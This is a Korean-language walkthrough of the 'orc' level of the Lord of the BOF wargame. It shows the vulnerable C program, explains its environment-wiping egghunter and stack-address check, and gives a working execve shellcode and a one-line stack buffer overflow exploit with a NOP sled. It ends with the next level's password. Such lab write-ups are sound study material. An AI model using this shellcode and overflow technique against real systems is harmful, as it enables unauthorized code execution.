[LOB] Level4: goblin → orc (renew)
orc
keyword : BoF+egghunter
/* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
0x01. Analysis
이번 문제부터 조금씩 재밌어 진다.
먼저 egghunter라고 해서 환경변수 부분은 0으로 초기화 한다. (즉, 앞서 환경변수를 이용하여 쉘코드를 넣는 방식은 먹히지 않는다.)
그리고 argv의 47번째 바이트가 "\xbf"인지 확인한다.
buffer의 크기가 40바이트 이고, SFP 4바이트, 그리고 RET 4바이트가 들어가므로 argv[1] 배열에 47번째가 "\xbf"라는 것은 RET에 들어가는 첫번째 주소가 "\xbfxxxxxx"라는 점이다. 아래 사진을 보면 알 수 있다.
그러면 "\xbf"로 시작하는 주소는 어느 부분일까?
cat /proc/self/maps
명령어를 주면 현 시스템의 map 테이블을 볼 수 있다.
보통 0x08xxxxxx 주소는 코드영역으로 사용되어 지고, 0x40xxxxxx는 라이브러리, 0xbfxxxxxx는 스택영역으로 사용되어 진다.
스택영역을 보면 rwx 모든 권한이 들어 있는 것을 알 수 있다.
0xbfxxxxxx가 스택 영역인이 확실하게 알고 싶으면 gdb로 살펴보면 확실히 알 수 있다.
main함수를 디스어셈하면 0x80부분에 코드들이 올라와 있는 것을 알 수 있다.
스택영역을 보면 역시나 0xbfxxxxxx 주소들로 이루어 진 것을 알 수 있다.
따라서 orc문제는 stack영역에 쉘코드를 올려서 풀어야 되는 문제로 풀이된다.
0x02. Exploit
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
buffer의 크기가 40바이트이므로 쉘코드(24바이트)가 들어갈 수 있는 충분한 크기이지만 필자는 NOP크기를 적당이 크게 넣는걸 좋아해서 buffer배열에 쉘코드를 넣지 않고 RET 아래에 쉘코드를 넣을 것이다.
정확한 스택 주소를 얻기 위해 core를 떨궈준다.
"S"가 들어간 위치가 쉘코드 24바이트를 넣을 자리이다.
NOP 주소 중 대충 0xbffffa60 주소를 RET에 넣으면 될 것 같다.
./orc `python -c 'print "A"*44+"\x60\xfa\xff\xbf"+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
orc / cantata